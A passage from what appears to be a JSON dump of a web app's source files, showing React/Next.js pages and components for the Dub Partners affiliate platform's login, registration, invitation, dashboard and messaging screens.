w-full\">\n              <AuthAlternativeBanner\n                text=\"Looking for your Dub workspace account?\"\n                cta=\"Log in at app.dub.co\"\n                href=\"https://app.dub.co/login\"\n              />\n            </div>\n          )}\n        </div>\n      </AuthLayout>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(generic)/register/page-client.tsx",
    "content": "\"use client\";\n\nimport { emailSchema } from \"@/lib/zod/schemas/auth\";\nimport { AuthAlternativeBanner } from \"@/ui/auth/auth-alternative-banner\";\nimport {\n  RegisterProvider,\n  useRegisterContext,\n} from \"@/ui/auth/register/context\";\nimport { SignUpForm } from \"@/ui/auth/register/signup-form\";\nimport { VerifyEmailForm } from \"@/ui/auth/register/verify-email-form\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport { Program } from \"@dub/prisma/client\";\nimport { truncate } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useSearchParams } from \"next/navigation\";\n\ntype PartialProgram = Pick<Program, \"name\" | \"logo\" | \"slug\">;\n\nexport default function RegisterPageClient({\n  program,\n  email,\n  lockEmail,\n}: {\n  program?: PartialProgram;\n  email?: string;\n  lockEmail?: boolean;\n}) {\n  const searchParams = useSearchParams();\n  const searchEmailResult = emailSchema.safeParse(searchParams.get(\"email\"));\n\n  return (\n    <RegisterProvider\n      email={\n        (searchEmailResult.success ? searchEmailResult.data : undefined) ??\n        email\n      }\n      lockEmail={searchEmailResult.success || lockEmail}\n    >\n      <RegisterFlow program={program} />\n    </RegisterProvider>\n  );\n}\n\nfunction SignUp({ program }: { program?: PartialProgram }) {\n  return (\n    <div className=\"relative w-full\">\n      <AuthLayout showTerms=\"partners\">\n        <div className=\"w-full max-w-sm\">\n          <h1 className=\"text-center text-xl font-semibold\">\n            Create your Dub Partner account\n          </h1>\n          <div className=\"mt-8\">\n            <SignUpForm methods={[\"email\", \"google\"]} />\n          </div>\n          <p className=\"mt-6 text-center text-sm font-medium text-neutral-500\">\n            Already have an account?&nbsp;\n            <Link\n              href={`${program ? `/${program.slug}` : \"\"}/login`}\n              className=\"font-semibold text-neutral-700 transition-colors hover:text-neutral-900\"\n            >\n              Sign in\n            </Link>\n          </p>\n\n          {!program && (\n            <div className=\"mt-12 w-full\">\n              <AuthAlternativeBanner\n                text=\"Looking for your Dub workspace account?\"\n                cta=\"Sign up at app.dub.co\"\n                href=\"https://app.dub.co/register\"\n              />\n            </div>\n          )}\n        </div>\n      </AuthLayout>\n    </div>\n  );\n}\n\nfunction Verify() {\n  const { email } = useRegisterContext();\n\n  return (\n    <AuthLayout>\n      <div className=\"w-full max-w-sm\">\n        <div className=\"flex flex-col items-center gap-1 text-center\">\n          <h3 className=\"text-center text-xl font-semibold\">\n            Verify your email address\n          </h3>\n          <p className=\"text-base font-medium text-neutral-500\">\n            Enter the six digit verification code sent to{\" \"}\n            <strong className=\"font-semibold text-neutral-600\" title={email}>\n              {truncate(email, 30)}\n            </strong>\n          </p>\n        </div>\n        <div className=\"mt-12\">\n          <VerifyEmailForm />\n        </div>\n      </div>\n    </AuthLayout>\n  );\n}\n\nconst RegisterFlow = ({ program }: { program?: PartialProgram }) => {\n  const { step } = useRegisterContext();\n\n  if (step === \"signup\") return <SignUp program={program} />;\n  if (step === \"verify\") return <Verify />;\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(generic)/register/page.tsx",
    "content": "import { getProgram } from \"@/lib/fetchers/get-program\";\nimport { prisma } from \"@dub/prisma\";\nimport { cookies } from \"next/headers\";\nimport { redirect } from \"next/navigation\";\nimport RegisterPageClient from \"./page-client\";\n\nexport default async function RegisterPage(props: {\n  params: Promise<{ programSlug?: string }>;\n}) {\n  const { programSlug } = await props.params;\n\n  if (programSlug === \"framer\") {\n    redirect(\"/framer/login\");\n  }\n\n  const program = programSlug\n    ? (await getProgram({ slug: programSlug })) ?? undefined\n    : undefined;\n\n  if (programSlug && !program) {\n    redirect(\"/register\");\n  }\n\n  let email: string | undefined = undefined;\n  let lockEmail = false;\n\n  if (program) {\n    const cookieStore = await cookies();\n    const programApplicationIds = cookieStore\n      .get(\"programApplicationIds\")\n      ?.value?.split(\",\");\n\n    const applications = programApplicationIds?.length\n      ? await prisma.programApplication.findMany({\n          where: {\n            id: {\n              in: programApplicationIds.filter(Boolean),\n            },\n            enrollment: null,\n          },\n          orderBy: {\n            createdAt: \"desc\",\n          },\n          take: 10,\n        })\n      : [];\n\n    if (applications.length) {\n      email = applications[0].email;\n      lockEmail =\n        applications.length === 1 ||\n        applications.every((app) => app.email === email);\n    }\n  }\n\n  return (\n    <RegisterPageClient program={program} email={email} lockEmail={lockEmail} />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(program)/[programSlug]/layout.tsx",
    "content": "export {\n  default,\n  generateMetadata,\n  generateStaticParams,\n} from \"../../(generic)/layout\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(program)/[programSlug]/login/page.tsx",
    "content": "export { default } from \"../../../(generic)/login/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/(program)/[programSlug]/register/page.tsx",
    "content": "export { default } from \"../../../(generic)/register/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/partner-banner.tsx",
    "content": "import { Program } from \"@dub/prisma/client\";\nimport { BlurImage } from \"@dub/ui\";\nimport Link from \"next/link\";\n\nexport function PartnerBanner({\n  program,\n}: {\n  program?: Pick<Program, \"name\" | \"logo\" | \"slug\">;\n}) {\n  if (!program) {\n    return null;\n  }\n\n  return (\n    <div className=\"absolute inset-x-0 top-0 z-10 flex h-[60px] items-center justify-center gap-2 border-b border-neutral-200 bg-neutral-50/80 p-3 backdrop-blur-sm min-[900px]:hidden\">\n      {program.logo && (\n        <div className=\"relative size-6 shrink-0 overflow-hidden rounded-full\">\n          <BlurImage\n            src={program.logo}\n            alt=\"Program logo\"\n            fill\n            className=\"object-cover\"\n          />\n        </div>\n      )}\n      <p className=\"text-left text-sm text-neutral-800\">\n        <Link\n          href={`/${program.slug}`}\n          className=\"font-semibold underline-offset-2 transition-colors hover:underline\"\n        >\n          {program.name}\n        </Link>{\" \"}\n        uses{\" \"}\n        <a\n          href=\"https://dub.co/partners\"\n          target=\"_blank\"\n          className=\"font-semibold text-neutral-600 decoration-dotted underline-offset-2 transition-colors hover:underline\"\n        >\n          Dub Partners\n        </a>{\" \"}\n        to power their affiliate program\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/program-logos.tsx",
    "content": "import { ProgressiveBlur } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nconst LOGO_COUNT = 13;\nconst ROW_COUNT = 4;\n\n// Randomly shuffle the logos in each row\nconst ROWS = [...Array(ROW_COUNT)].map(() => {\n  const cols = [...Array(LOGO_COUNT)].map((_, col) => col);\n\n  // Shuffle the columns\n  let currentIndex = cols.length;\n\n  while (currentIndex != 0) {\n    let randomIndex = Math.floor(Math.random() * currentIndex);\n    currentIndex--;\n\n    [cols[currentIndex], cols[randomIndex]] = [\n      cols[randomIndex],\n      cols[currentIndex],\n    ];\n  }\n\n  return cols;\n});\n\nconst BLUR_STEPS = 5;\nconst BLUR_STEP_SIZE = 5;\n\nconst BLACK = \"rgba(0,0,0,1)\";\nconst TRANSPARENT = \"rgba(0,0,0,0)\";\n\nexport function ProgramLogos() {\n  return (\n    <div className=\"relative size-full overflow-hidden\">\n      {/* Gradient */}\n      {[...Array(2)].map((_, idx) => (\n        <div\n          key={idx}\n          className={cn(\n            \"absolute bottom-0 left-1/2 size-[80px] -translate-x-1/2 translate-y-1/2 scale-x-[1.6]\",\n            idx === 0 ? \"mix-blend-overlay\" : \"opacity-15\",\n          )}\n        >\n          {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n            <div\n              key={idx}\n              className={cn(\n                \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n              )}\n            />\n          ))}\n        </div>\n      ))}\n\n      <div className=\"relative isolate size-full\">\n        <div className=\"relative size-full [mask-composite:intersect] [mask-image:linear-gradient(#000f_50%,#0006),linear-gradient(90deg,#000f_50%,#000a)]\">\n          <div className=\"translate-y-[30%] skew-y-[-16deg]\">\n            <div className=\"flex flex-col gap-7\">\n              {ROWS.map((cols, row) => (\n                <div key={row} className=\"flex items-center gap-5\">\n                  {[...Array(2)].map((_, idx) => (\n                    <div\n                      key={idx}\n                      className={cn(\n                        \"relative flex items-center gap-5\",\n                        \"motion-safe:animate-infinite-scroll [--scroll:-100%] motion-safe:[animation-duration:30s]\",\n                        row % 2 === 0 &&\n                          \"motion-safe:[animation-direction:reverse]\",\n                      )}\n                    >\n                      {cols.map((logoIndex, col) => {\n                        return (\n                          <div\n                            key={col}\n                            className=\"size-[4.5rem] rounded-full\"\n                            style={{\n                              backgroundImage:\n                                \"url(https://assets.dub.co/misc/partner-auth-logos.png)\",\n                              backgroundSize: `${LOGO_COUNT * 100}%`,\n                              backgroundPositionX:\n                                (LOGO_COUNT - (logoIndex % LOGO_COUNT)) * 100 +\n                                \"%\",\n                            }}\n                          />\n                        );\n                      })}\n                    </div>\n                  ))}\n                </div>\n              ))}\n            </div>\n          </div>\n        </div>\n\n        {/* Progressive blur */}\n        <div className=\"absolute inset-0\">\n          <div className=\"absolute inset-y-0 right-0 w-1/4\">\n            <ProgressiveBlur side=\"right\" strength={6} steps={8} />\n          </div>\n          <div className=\"absolute inset-x-0 bottom-0 h-1/4\">\n            <ProgressiveBlur side=\"bottom\" strength={6} steps={8} />\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-login-register)/side-panel.tsx",
    "content": "import { DubPartnersLogo } from \"@/ui/dub-partners-logo\";\nimport { Program } from \"@dub/prisma/client\";\nimport Link from \"next/link\";\nimport { ProgramLogos } from \"./program-logos\";\n\nexport function SidePanel({\n  program,\n}: {\n  program?: Pick<Program, \"name\" | \"logo\" | \"slug\">;\n}) {\n  return (\n    <div className=\"hidden h-full flex-col items-start justify-between gap-8 overflow-hidden border-r border-black/5 bg-neutral-50 min-[900px]:flex\">\n      <div className=\"grow basis-0 p-4 lg:p-10\">\n        <DubPartnersLogo className=\"w-fit\" />\n      </div>\n      {program ? (\n        <div className=\"relative w-full\">\n          {program.logo && (\n            <div className=\"absolute inset-0 blur-[100px]\">\n              <img\n                className=\"absolute bottom-0 left-1/2 size-72 shrink-0 -translate-x-1/2 translate-y-1/2 -skew-x-12 rounded-full opacity-50\"\n                src={program.logo}\n                alt={`${program.name} logo`}\n              />\n            </div>\n          )}\n          <div className=\"relative flex flex-col gap-8 p-4 lg:p-10\">\n            {program.logo && (\n              <img\n                className=\"size-14 shrink-0 rounded-full\"\n                src={program.logo}\n                alt={`${program.name} logo`}\n              />\n            )}\n            <p className=\"text-content-default max-w-[370px] text-pretty text-xl font-medium [&_strong]:font-semibold\">\n              <strong>{program.name}</strong> uses{\" \"}\n              <a\n                href=\"https://dub.co/partners\"\n                target=\"_blank\"\n                className=\"text-neutral-600 decoration-dotted underline-offset-2 transition-colors hover:underline\"\n              >\n                <strong>Dub Partners</strong>\n              </a>{\" \"}\n              to power their affiliate program\n            </p>\n          </div>\n        </div>\n      ) : (\n        <>\n          <div className=\"flex flex-col gap-6 px-4 lg:px-10\">\n            <p className=\"text-content-default max-w-[370px] text-pretty text-xl font-medium\">\n              Join thousands of others who have earned over $10,000,000 on Dub\n              partnering with world-class companies.\n            </p>\n            <Link\n              target=\"_blank\"\n              href=\"https://dub.co/blog/10m-payouts\"\n              className=\"text-content-emphasis flex h-8 w-fit items-center rounded-lg bg-black/5 px-3 text-sm font-medium transition-[transform,background-color] duration-75 hover:bg-black/10 active:scale-[0.98]\"\n            >\n              Read more\n            </Link>\n          </div>\n\n          <div className=\"w-full grow basis-0\">\n            <ProgramLogos />\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/auth/confirm-email-change/[token]/page.tsx",
    "content": "export { default } from \"app/app.dub.co/(auth)/auth/confirm-email-change/[token]/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/auth/reset-password/[token]/page.tsx",
    "content": "export { default } from \"app/app.dub.co/(auth)/auth/reset-password/[token]/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/forgot-password/page.tsx",
    "content": "import { ForgotPasswordForm } from \"@/ui/auth/forgot-password-form\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\n\nexport default function ForgotPasswordPage() {\n  return (\n    <AuthLayout>\n      <div className=\"w-full max-w-sm\">\n        <h3 className=\"text-center text-xl font-semibold\">\n          Reset your password\n        </h3>\n\n        <div className=\"mt-8\">\n          <ForgotPasswordForm />\n        </div>\n      </div>\n    </AuthLayout>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/invite/page.tsx",
    "content": "\"use client\";\n\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { AuthLayout } from \"@/ui/layout/auth-layout\";\nimport { Button } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport default function AcceptPartnerInvitePage() {\n  const router = useRouter();\n  const { partner, loading } = usePartnerProfile();\n  const [accepting, setAccepting] = useState(false);\n  const { data: session, update: refreshSession } = useSession();\n\n  const acceptInvite = async () => {\n    setAccepting(true);\n\n    try {\n      const response = await fetch(\"/api/partner-profile/invites/accept\", {\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const error = await response.json();\n        throw new Error(error.message);\n      }\n\n      await refreshSession();\n      await mutatePrefix(\"/api/partner-profile\");\n      router.replace(\"/programs\");\n      toast.success(\"You are now a member of this partner profile!\");\n    } catch (error) {\n      setAccepting(false);\n      toast.error(error.message || \"Failed to accept invite.\");\n    }\n  };\n\n  // If user already has a partner profile, redirect to programs\n  if (!loading && partner) {\n    router.replace(\"/programs\");\n    return null;\n  }\n\n  if (loading) {\n    return (\n      <AuthLayout showTerms=\"partners\">\n        <div className=\"flex w-full max-w-sm items-center justify-center py-12\">\n          <div className=\"flex flex-col items-center gap-4\">\n            <div className=\"h-8 w-8 animate-spin rounded-full border-4 border-gray-200 border-t-gray-800\" />\n            <p className=\"text-sm text-gray-600\">Loading...</p>\n          </div>\n        </div>\n      </AuthLayout>\n    );\n  }\n\n  return (\n    <AuthLayout showTerms=\"partners\">\n      <div className=\"w-full max-w-sm\">\n        <h1 className=\"text-center text-xl font-semibold\">\n          Partner Profile Invitation\n        </h1>\n        <p className=\"mt-2 text-center text-sm text-gray-500\">\n          You've been invited to join a partner profile on Dub Partners.\n        </p>\n\n        <div className=\"mt-8\">\n          <Button\n            text=\"Accept invite\"\n            onClick={acceptInvite}\n            loading={accepting}\n            className=\"w-full\"\n          />\n        </div>\n\n        <p className=\"mt-6 text-center text-xs text-gray-500\">\n          By accepting this invitation, you'll be able to collaborate with other\n          members on this partner profile.\n        </p>\n      </div>\n    </AuthLayout>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/layout.tsx",
    "content": "import { Grid } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Logo } from \"./logo\";\n\nexport default function PartnerAuthLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <>\n      <div className=\"absolute inset-0 isolate overflow-hidden bg-white\">\n        {/* Grid */}\n        <div\n          className={cn(\n            \"absolute inset-y-0 left-1/2 w-[1200px] -translate-x-1/2\",\n            \"[mask-composite:intersect] [mask-image:linear-gradient(black,transparent_320px),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n          )}\n        >\n          <Grid\n            cellSize={60}\n            patternOffset={[0.75, 0]}\n            className=\"text-neutral-200\"\n          />\n        </div>\n\n        {/* Gradient */}\n        {[...Array(2)].map((_, idx) => (\n          <div\n            key={idx}\n            className={cn(\n              \"absolute left-1/2 top-6 size-[80px] -translate-x-1/2 -translate-y-1/2 scale-x-[1.6]\",\n              idx === 0 ? \"mix-blend-overlay\" : \"opacity-10\",\n            )}\n          >\n            {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n              <div\n                key={idx}\n                className={cn(\n                  \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                  \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n                )}\n              />\n            ))}\n          </div>\n        ))}\n      </div>\n      <div className=\"relative flex min-h-[100dvh] min-h-screen w-full justify-center\">\n        <Logo />\n        {children}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/logo.tsx",
    "content": "\"use client\";\n\nimport { DubPartnersLogo } from \"@/ui/dub-partners-logo\";\nimport { cn } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\n\nexport function Logo({ className }: { className?: string }) {\n  const { programSlug } = useParams();\n\n  return (\n    <DubPartnersLogo\n      className={cn(\n        \"absolute left-1/2 top-4 z-10 -translate-x-1/2\",\n        programSlug && \"top-20\",\n        className,\n      )}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(auth-other)/unsubscribe/[token]/page.tsx",
    "content": "export { default } from \"app/app.dub.co/(auth)/unsubscribe/[token]/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/account/settings/page.tsx",
    "content": "export { default } from \"app/app.dub.co/(dashboard)/account/settings/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/account/settings/security/page.tsx",
    "content": "export { default } from \"app/app.dub.co/(dashboard)/account/settings/security/page\";\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/auth.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useRefreshSession from \"@/lib/swr/use-refresh-session\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { redirect, useSearchParams } from \"next/navigation\";\nimport { ReactNode, useEffect } from \"react\";\nimport { toast } from \"sonner\";\n\nconst ERROR_CODES = {\n  unauthorized:\n    \"Unauthorized. You must be logged in https://partners.dub.co to continue.\",\n  partner_not_found: \"Partner profile not found.\",\n  invalid_state:\n    \"Invalid or expired state. Please try again from the beginning.\",\n  paypal_email_not_verified:\n    \"PayPal email address is not verified. Please verify your email address in PayPal and try again.\",\n  paypal_account_already_in_use:\n    \"The PayPal account you're trying to connect is already in use by another partner. Please use a different PayPal account.\",\n} as const;\n\nexport function PartnerProfileAuth({ children }: { children: ReactNode }) {\n  const searchParams = useSearchParams();\n  const { loading: sessionLoading } = useRefreshSession(\"defaultPartnerId\");\n  const { partner, error } = usePartnerProfile();\n\n  useEffect(() => {\n    const error = searchParams?.get(\"error\");\n\n    if (error) {\n      toast.error(ERROR_CODES[error] || error);\n    }\n  }, [searchParams]);\n\n  const loading = sessionLoading || (!partner && !error);\n\n  if (loading) {\n    return <LayoutLoader />;\n  }\n\n  if (!loading && error && error.status === 404) {\n    redirect(\"/onboarding\");\n  }\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/layout.tsx",
    "content": "import { MainNav } from \"@/ui/layout/main-nav\";\nimport { HelpButton } from \"@/ui/layout/sidebar/help-button\";\nimport { PartnersSidebarNav } from \"@/ui/layout/sidebar/partners-sidebar-nav\";\nimport { PartnerProfileAuth } from \"./auth\";\n\nexport default function PartnerDashboardLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <MainNav toolContent={<HelpButton />} sidebar={PartnersSidebarNav}>\n      <PartnerProfileAuth>{children}</PartnerProfileAuth>\n    </MainNav>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/messages/[programSlug]/page-client.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { markProgramMessagesReadAction } from \"@/lib/actions/partners/mark-program-messages-read\";\nimport { messageProgramAction } from \"@/lib/actions/partners/message-program\";\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerAnalytics from \"@/lib/swr/use-partner-analytics\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { useProgramMessages } from \"@/lib/swr/use-program-messages\";\nimport useUser from \"@/lib/swr/use-user\";\nimport { ProgramEnrollmentProps } from \"@/lib/types\";\nimport { useMessagesContext } from \"@/ui/messages/messages-context\";\nimport { MessagesPanel } from \"@/ui/messages/messages-panel\";\nimport { ToggleSidePanelButton } from \"@/ui/messages/toggle-side-panel-button\";\nimport { ProgramHelpLinks } from \"@/ui/partners/program-help-links\";\nimport { ProgramRewardsPanel } from \"@/ui/partners/program-rewards-panel\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Grid, useCopyToClipboard } from \"@dub/ui\";\nimport {\n  Check,\n  ChevronLeft,\n  Copy,\n  EnvelopeArrowRight,\n  MsgsDotted,\n} from \"@dub/ui/icons\";\nimport {\n  OG_AVATAR_URL,\n  capitalize,\n  cn,\n  currencyFormatter,\n  formatDate,\n  getPrettyUrl,\n  nFormatter,\n} from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { v4 as uuid } from \"uuid\";\n\nexport function PartnerMessagesProgramPageClient() {\n  const { programSlug } = useParams() as { programSlug: string };\n\n  const { user } = useUser();\n  const { partner } = usePartnerProfile();\n  const {\n    programEnrollment,\n    error: programEnrollmentError,\n    loading: programEnrollmentLoading,\n  } = useProgramEnrollment({\n    swrOpts: {\n      shouldRetryOnError: (err) => err.status !== 404,\n    },\n  });\n  const enrolledProgram = programEnrollment?.program;\n\n  const {\n    executeAsync: markProgramMessagesRead,\n    isPending: isMarkingProgramMessagesRead,\n  } = useAction(markProgramMessagesReadAction);\n\n  const {\n    programMessages,\n    error: errorMessages,\n    mutate: mutateProgramMessages,\n  } = useProgramMessages({\n    query: { programSlug, sortOrder: \"asc\" },\n    swrOpts: {\n      onSuccess: async (data) => {\n        // Mark unread messages from the program as read\n        if (\n          !isMarkingProgramMessagesRead &&\n          data?.[0]?.messages?.some(\n            (message) => !message.senderPartnerId && !message.readInApp,\n          )\n        ) {\n          await markProgramMessagesRead({\n            programSlug,\n          });\n          mutatePrefix(\"/api/partner-profile/messages\");\n        }\n      },\n    },\n  });\n\n  const program = programMessages?.[0]?.program;\n  const messages = programMessages?.[0]?.messages;\n\n  const { executeAsync: sendMessage } = useAction(messageProgramAction, {\n    onError({ error }) {\n      toast.error(parseActionError(error, \"Failed to send message\"));\n    },\n  });\n\n  const { setCurrentPanel } = useMessagesContext();\n  const [isRightPanelOpen, setIsRightPanelOpen] = useState(true);\n\n  // Redirect if no messages and not enrolled, or messages error\n  if (\n    (programEnrollmentError && programMessages?.length === 0) ||\n    errorMessages\n  )\n    redirect(`/messages`);\n\n  return (\n    <div\n      className=\"relative grid h-full\"\n      style={{\n        gridTemplateColumns: \"minmax(340px, 1fr) minmax(0, min-content)\",\n      }}\n    >\n      <div className=\"flex h-full min-h-0 flex-col\">\n        <div className=\"border-border-subtle flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n          <div className=\"flex min-w-0 items-center gap-2\">\n            <button\n              type=\"button\"\n              onClick={() => setCurrentPanel(\"index\")}\n              className=\"@[800px]/page:hidden shrink-0 rounded-lg p-1.5 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n            >\n              <ChevronLeft className=\"size-3.5\" />\n            </button>\n            <div className=\"min-w-0\">\n              <button\n                type=\"button\"\n                onClick={() => setIsRightPanelOpen((o) => !o)}\n                disabled={!programEnrollment}\n                className=\"-mx-2 -my-1 flex items-center gap-3 rounded-lg px-2 py-1 transition-colors duration-100 enabled:hover:bg-black/5 enabled:active:bg-black/10\"\n              >\n                {!program ? (\n                  <>\n                    <div className=\"size-8 animate-pulse rounded-full bg-neutral-200\" />\n                    <div className=\"h-8 w-36 animate-pulse rounded-md bg-neutral-200\" />\n                  </>\n                ) : (\n                  <>\n                    <img\n                      src={program?.logo || \"https://assets.dub.co/logo.png\"}\n                      alt={`${program?.name} logo`}\n                      className=\"size-8 shrink-0 rounded-full\"\n                    />\n                    <h2 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n                      {program?.name ?? \"Program\"}\n                    </h2>\n                  </>\n                )}\n              </button>\n            </div>\n          </div>\n          {programEnrollment ? (\n            <ToggleSidePanelButton\n              isOpen={isRightPanelOpen}\n              onClick={() => setIsRightPanelOpen((o) => !o)}\n            />\n          ) : programEnrollmentError ? (\n            <ViewProgramButton programSlug={programSlug} />\n          ) : null}\n        </div>\n        {[\"banned\", \"rejected\"].includes(programEnrollment?.status ?? \"\") ||\n        (program?.messagingEnabledAt === null &&\n          messages &&\n          !messages.length) ? (\n          <div className=\"flex size-full flex-col items-center justify-center px-4\">\n            <MsgsDotted className=\"size-10 text-neutral-700\" />\n            <div className=\"mt-6 max-w-md text-center\">\n              <span className=\"text-content-emphasis text-base font-semibold\">\n                This program uses external support\n              </span>\n              <p className=\"text-content-subtle text-sm font-medium\">\n                You can contact them directly via email.\n              </p>\n            </div>\n            {enrolledProgram?.supportEmail && (\n              <Link\n                href={`mailto:${enrolledProgram.supportEmail}`}\n                target=\"_blank\"\n              >\n                <Button\n                  className=\"mt-4 h-9 rounded-lg px-3\"\n                  variant=\"secondary\"\n                  text=\"Email support\"\n                  icon={<EnvelopeArrowRight className=\"size-4\" />}\n                />\n              </Link>\n            )}\n          </div>\n        ) : (\n          <div className=\"min-h-0 grow\">\n            <MessagesPanel\n              messages={messages && partner && user ? messages : undefined}\n              error={errorMessages}\n              currentUserType=\"partner\"\n              currentUserId={partner?.id || \"\"}\n              program={program}\n              onSendMessage={async (message) => {\n                const createdAt = new Date();\n\n                try {\n                  await mutateProgramMessages(\n                    async (data) => {\n                      const result = await sendMessage({\n                        programSlug,\n                        text: message,\n                      });\n\n                      if (result?.data?.message) {\n                        return data\n                          ? [\n                              {\n                                ...data[0],\n                                messages: [\n                                  ...data[0].messages,\n                                  result.data.message,\n                                ],\n                              },\n                            ]\n                          : [];\n                      }\n                    },\n                    {\n                      optimisticData: (data) =>\n                        data\n                          ? [\n                              {\n                                ...data[0],\n                                messages: [\n                                  ...data[0].messages,\n                                  {\n                                    delivered: false,\n                                    id: `tmp_${uuid()}`,\n                                    programId: program!.id,\n                                    partnerId: partner!.id,\n                                    text: message,\n                                    subject: null,\n                                    type: \"direct\",\n                                    readInApp: null,\n                                    readInEmail: null,\n                                    createdAt,\n                                    updatedAt: createdAt,\n                                    senderUserId: user!.id,\n                                    senderUser: {\n                                      id: user!.id,\n                                      name: user!.name,\n                                      image: user!.image || null,\n                                    },\n                                    senderPartnerId: partner!.id,\n                                    senderPartner: {\n                                      id: partner!.id,\n                                      name: partner!.name,\n                                      image: partner!.image || null,\n                                    },\n                                  },\n                                ],\n                              },\n                            ]\n                          : [],\n                      rollbackOnError: true,\n                    },\n                  );\n\n                  mutatePrefix(\"/api/partner-profile/messages\");\n                } catch (e) {\n                  console.log(`Failed to send message: ${e}`);\n                  toast.error(`Failed to send message: ${e}`);\n                }\n              }}\n            />\n          </div>\n        )}\n      </div>\n\n      {/* Right panel - Profile */}\n      <div\n        className={cn(\n          \"absolute right-0 top-0 h-full min-h-0 w-0 overflow-hidden bg-white shadow-lg transition-[width]\",\n          \"@[1082px]/page:shadow-none @[1082px]/page:relative\",\n          isRightPanelOpen && \"w-full sm:w-[400px]\",\n        )}\n      >\n        <div className=\"border-border-subtle flex size-full min-h-0 w-full flex-col border-l sm:w-[400px]\">\n          <div className=\"border-border-subtle flex h-12 shrink-0 items-center justify-between gap-4 border-b px-4 sm:h-16 sm:px-6\">\n            <h2 className=\"text-content-emphasis text-lg font-semibold leading-7\">\n              Program\n            </h2>\n            <div className=\"flex items-center gap-2\">\n              <ViewProgramButton programSlug={programSlug} />\n              <button\n                type=\"button\"\n                onClick={() => setIsRightPanelOpen(false)}\n                className=\"@[1082px]/page:hidden rounded-lg p-2 text-neutral-500 transition-colors hover:bg-neutral-100 hover:text-neutral-900\"\n              >\n                <X className=\"size-4\" />\n              </button>\n            </div>\n          </div>\n          <div className=\"bg-bg-muted scrollbar-hide flex grow flex-col overflow-y-scroll\">\n            {programEnrollmentLoading ? (\n              <ProgramInfoPanelSkeleton />\n            ) : programEnrollment ? (\n              <ProgramInfoPanel programEnrollment={programEnrollment} />\n            ) : null}\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction ProgramInfoPanel({\n  